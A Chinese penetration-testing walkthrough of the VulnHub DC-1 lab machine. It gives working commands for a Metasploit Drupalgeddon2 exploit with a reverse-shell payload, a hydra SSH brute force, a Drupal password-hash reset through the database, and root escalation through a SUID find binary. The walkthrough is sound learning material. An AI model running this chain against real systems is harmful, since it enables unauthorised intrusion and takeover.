渗透测试实战:DC-1靶机入侵

环境搭建

攻击机:kali 网卡NAT模式
靶机:DC-1 网卡NAT模式
靶机下载地址:https://www.vulnhub.com/?page=2

渗透测试

信息收集

探测靶机IP,使用nmap扫描同网段的主机:

root@kali:~# nmap 192.168.42.0/24 -sP



得到靶机IP:192.168.42.151
扫描靶机开放端口:

root@kali:~# nmap 192.168.42.151 -A -p 1-65535



靶机开放了http服务,ssh服务,rpcbind服务,so

漏洞利用

访问80,drupal 7 嘞,可以搜一搜有啥可用的漏洞,

用msf扫一哈网站目录,

root@kali:~# msfconsole
msf5 > use auxiliary/scanner/http/dir
msf5 auxiliary(scanner/http/dir) > set RHOSTS 192.168.42.151
msf5 auxiliary(scanner/http/dir) > set THREADS 50
msf5 auxiliary(scanner/http/dir) > run



瞧一瞧robots.txt文件,

使用Searchsploit自动搜索exploit-db漏洞的记录以及利用方式:

root@kali:~# searchsploit drupal



msf渗透drupal:

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.42.151
RHOSTS => 192.168.42.151
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.42.157
LHOST => 192.168.42.157
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit


得到一个反弹shell,进入DC-1

查看一下目录和文件,得到flag1

提示配置文件,于是进入site配置文件,
目录/var/www/sites/default,找到flag2,得到网站数据库的配置信息并提示爆破,
使用shell命令切换到cmd的系统权限方式,尝试登陆mysql数据库,

找到users表,得到用户名和hash加密后的密码,

于是两个思路,1 爆破;2 重置drupal密码,再update修改数据库密码数据为新密码加密后的密文
这里使用思路2,

meterpreter > cd /var/www
php scripts/password-hash.sh hahaha > pwd.php


重新生成密码hahaha的密文,并将结果存入pwd.php文件(这里有个坑,必须在这个目录下执行,不能够再scripts目录下执行)

再次进入数据库,把生成的密文update到数据库的密码
通过浏览器进入靶机,输入用户名密码,登陆成功,找到flag3

访问22,尝试爆破ssh密码,可是怎么滴的就知道用户名是flag4了。。。。没有灵性o_o
john离线密码破解工具,主要用于破解密码密文;;hydra在线密码破解工具,可以破解ssh啥的,
这里使用hydra工具+john中的字典进行爆破:

root@kali:~# hydra -l flag4 -P /usr/share/john/password.lst 192.168.42.151 ssh -f


-f当破解到正确的密码时,停止爆破
-vV 显示详细的配置过程
-l 指定用户名
-P 指定密码字典

得到账号密码[ flag4/orange ],登陆ssh,得到flag4

提示最后一步需要提权,flag4用户find搜索一下含有flag字段的文件,但是根本查不到rot目录下的内容,
先查找一下靶机可执行的二进制文件,

flag4@DC-1:~# find / -perm -4000 2> /dev/null


使用find提权,find具有SUID标签,所有通过find执行的命令都会root权限运行,

flag4@DC-1:~# touch haha
flag4@DC-1:~# find haha -exec “whoami” \;
flag4@DC-1:~# find haha -exec “/bin/sh” \;
cd /root
ls
cat thefinalflag.txt


over!

get:SUID提权

suid作用是让普通用户可以以root(或其他)的用户角色运行只有root(或其他)账号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。
常见的可用于suid提权的命令:

nmap
vim
find
bash
more
less
nano
cp


权限具有传递性,当普通用户使用了具有suid标签的命令时,就会继承root用户的权限,可以读取系统中所有的文件。
所以本次实战中,先使用

find / -perm -4000 2> /dev/null


指令查找了当前用户可以执行的命令,找到find,
再使用find命令,配合-exec参数,可以对查询的文件进行进一步的操作。
-exec参数后面跟的是command命令,终止必须使用’;’分号来判断。
对于不同的系统,直接使用分号可能会有不同的意义,所以在分号前使用转义符’\’。